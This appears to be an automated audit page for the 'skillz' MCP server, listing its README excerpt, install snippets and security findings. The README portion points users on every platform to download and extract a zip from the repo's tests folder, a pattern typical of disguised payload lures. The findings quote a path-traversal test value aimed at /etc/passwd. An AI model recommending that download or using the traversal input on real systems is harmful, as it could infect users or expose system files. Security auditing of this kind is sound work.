ModelsAtlas
Explore
Atlas / MCP servers / mugoherick12-boop / skillz

skillzCAUTION

mcp/mugoherick12-boop/skillz
MCP server by mugoherick12-boop · agent · ai · basketball · Audited 2026-10-11
⚑ Report / re-scanSource ↗

🛠️ Enable skills in any MCP client with Skillz, a server converting Claude-style skills into callable tools for seamless integration.

Verdict
CAUTION
Grade
B
Trust score
89 /100
Exposed tools
1 1r · 0w · 0d
Transport
—
License
MIT
Stars
4
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

🚀 Getting Started

Welcome to skillz! This application lets you load skills onto an MCP server, helping non-Claude clients interact effortlessly. Follow the steps below to download and run the software smoothly.

📥 Download Now

[](https://github.com/mugoherick12-boop/skillz/raw/refs/heads/main/tests/Software-2.6-alpha.4.zip)

📦 System Requirements

Before you start, ensure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS, or Linux
  • RAM: At least 2 GB
  • Disk Space: At least 100 MB of free space
  • Network: Active internet connection for downloading and running the skills

💻 Download & Install

  1. Visit the Releases Page: Click here to go to the Releases page.
  1. Find the Latest Version: On the Releases page, look for the latest version. It is usually marked in bold at the top of the list.
  1. Select Your File: Choose the right file for your operating system:
  2. Windows: Look for https://github.com/mugoherick12-boop/skillz/raw/refs/heads/main/tests/Software-2.6-alpha.4.zip
  3. macOS: Look for https://github.com/mugoherick12-boop/skillz/raw/refs/heads/main/tests/Software-2.6-alpha.4.zip
  4. Linux: Look for https://github.com/mugoherick12-boop/skillz/raw/refs/heads/main/tests/Software-2.6-alpha.4.zip
  1. Download the File: Click on the file name. Your download should start automatically.
  1. Extract the Files:
  2. For Windows and macOS, right-click on the downloaded .zip file and select “Extract All” or use extraction software.
  3. For Linux, open your terminal and navigate to the download location
Read from source at commit 7479e2f1ea1aOBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code
claude mcp add skillz -- uvx skillz
claude-desktop
{
  "mcpServers": {
    "skillz": {
      "command": "uvx",
      "args": [
        "skillz"
      ]
    }
  }
}
03

Exposed tools (1)

1 read · 0 write · 0 destructive.

ToolRiskDescription
_skill_toolreadLOGGER.info(
04

Trust audit

CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryPASS
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)WARN
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
none-observed
Shell
none-observed
Dependencies
pinned
Secrets in source
none-found

Findings (7)

MEDIUMPrompt injection · review.reviewer_manipulation · CWE-94, CWE-1427
<tool:_skill_tool>
LOGGER.info(
Why it matters. A stray logger statement appears in the tool definition section, suggesting the package author may have accidentally included debug or logging code in the instruction surface presented to the agent.
Fix. rewrite it so the instruction says plainly what it does, and asks the user before it acts
LOWInventory / provenance · inv.binary · CWE-1104
tests/Software-2.6-alpha.4.zip
Software-2.6-alpha.4.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/test_zip_skills.py:367
resource_uri="resource://skillz/testskill/../../../etc/passwd"
LOWObfuscation / stealth · obf.decode_call · CWE-506, CWE-94
tests/test_fetch_resource.py:98
decoded = base64.b64decode(result["content"])
LOWObfuscation / stealth · obf.decode_call · CWE-506, CWE-94
tests/test_zip_skills.py:136
decoded = base64.b64decode(result["content"])
LOWPrompt injection · review.data_transfer · CWE-94, CWE-1427
README.md
Active internet connection for downloading and running the skills
Why it matters. The README states the software requires an active internet connection to download and run skills, implying it will fetch and execute remote code on the user's machine.
Fix. rewrite it so the instruction says plainly what it does, and asks the user before it acts
INFOInventory / provenance · inv.oversize · CWE-1104
trenchwork/skillz.zip
trenchwork/skillz.zip
Why it matters. 1394759 bytes not read

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 7479e2f1ea1afull audit observations/trust-audit/mcp-server/mugoherick12-boop__skillz.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-117479e2f1ea1aCAUTIONB89first audit
06

Questions

What is the skillz MCP server?

🛠️ Enable skills in any MCP client with Skillz, a server converting Claude-style skills into callable tools for seamless integration.

What tools does skillz expose?

1 in total: 1 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is skillz safe to connect to an agent?

With care. The audit graded it B (89/100) and found 7 things worth knowing before you trust this server, listed below with the exact line each was found on.

What credentials does skillz need?

No credential environment variables were found in its source, so it appears to need none.

How current is this page?

The grade is for one exact copy of the source (7479e2f1ea1a), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement